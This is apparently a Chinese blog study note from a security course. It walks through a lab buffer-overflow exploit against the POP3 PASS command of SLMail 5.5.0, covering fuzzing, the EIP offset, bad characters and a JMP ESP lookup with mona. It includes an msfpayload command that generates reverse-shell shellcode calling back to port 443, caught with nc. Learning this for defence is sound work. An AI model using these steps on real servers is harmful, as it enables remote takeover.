【安全牛学习笔记】缓冲区溢出


缓冲区溢出

1.原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或

使程序转而执行其它指令,以达到攻击的目的。

2.原因程序中没有仔细检查用户输入的参数,数据与代码边界不清。

3.危害成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

4.发现漏洞

1. 源码审计2. 逆向工程3. 模糊测试

    向程序堆栈半随机的数据,根据内存变化判断溢出
    数据生成器:生成随机、半随机数据
    测试工具:识别溢出漏洞

windows缓冲区溢出1.实验环境

windows xp
服务端:SLMail 5.5.0 Mail Server调试工具:ImmuniDebugger脚本:mona.py漏洞利用编程:python

2.漏洞信息
POP3 pass命令存在缓冲区溢出漏洞,成功溢出后无需身份认证实现远程代码执行。

3.漏洞信息验证向服务端的110端口发送大量数据,依次增大数据的长度。判断字符长度大于2600时发生溢出。

4.精确定位溢出位置

1/2

2016/10/23 星期日 Untitled Document

利用python脚本生成长度为2700的唯一字符串。再次溢出服务器,通过EIP寄存器中的数据精确定位EIP溢出位置。判断EIP寄存器的精确溢出位置为2607

5.寻找存放shellcode的内存空间

再次增大数据长度。将EIP的位置换成特定字符来验证前一步的结果。在EIP的位置后加入大量特征代码,寻找可以存放shellcode的内存空间。最后得出结果EIP后的数据全部溢出到ESP寄存器中,通过计算得出ESP寄存器中最多可以溢出419个字节的数据,可以存放shellcode

6.检测坏字符
ESP寄存器中溢出送0x00 —— 0xff 256个字符,来检测是否存在坏字符。检测得出0x00,0x0a,

0x0d是坏字符。7.重定向数据流

因为ESP的地址不固定,若想在不同的环境中溢出代码都可以生效,需要使用JMP ESP跳转至ESP。利用mona脚本在系统中搜索地址固定的模块中的JMP ESP地址,发生溢出时,先将EIP指向固定的JMPESP地址,通过这个地址空间的代码再次跳转至ESP寄存器,执行shellcode

JMP ESP 的二进制编码为\xff\xe4
mona脚本中使用!mona modules寻找系统模块,找到不收保护的且地址固定的模块后,再通过!mona

find -s “\xff\xe4” -m slmfc.dll在模块中寻找固定的JMP ESP地址。内存地址要求无DEP,ASLR保护,且不包含坏字符。查找到固定的内存地址后溢出测试是否能够正确的跳转至ESP。发送的数据中内存地址应与实际的内存地址相反。

8.生成shellcode

使用./msfpayload win32_reverse LHOST=192.168.0.1 LPORT=443 R | ./msfencode -b"\x00\x0a\x0d"命令生成不带坏字符的shellcode,该shellcode执行后会反弹一个shell到本机的443端口。

9.完善漏洞利用代码
JMP ESP的内存地址溢出到EIP的位置,将shellcode溢出至ESP的位置,在EIPESP的溢出代码之间

加上8\x90(nop)保证shellcode的完整性。

10.溢出打开nc监听本机443端口。对服务器进行溢出后,nc接收到反弹回来的shell

2/2 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值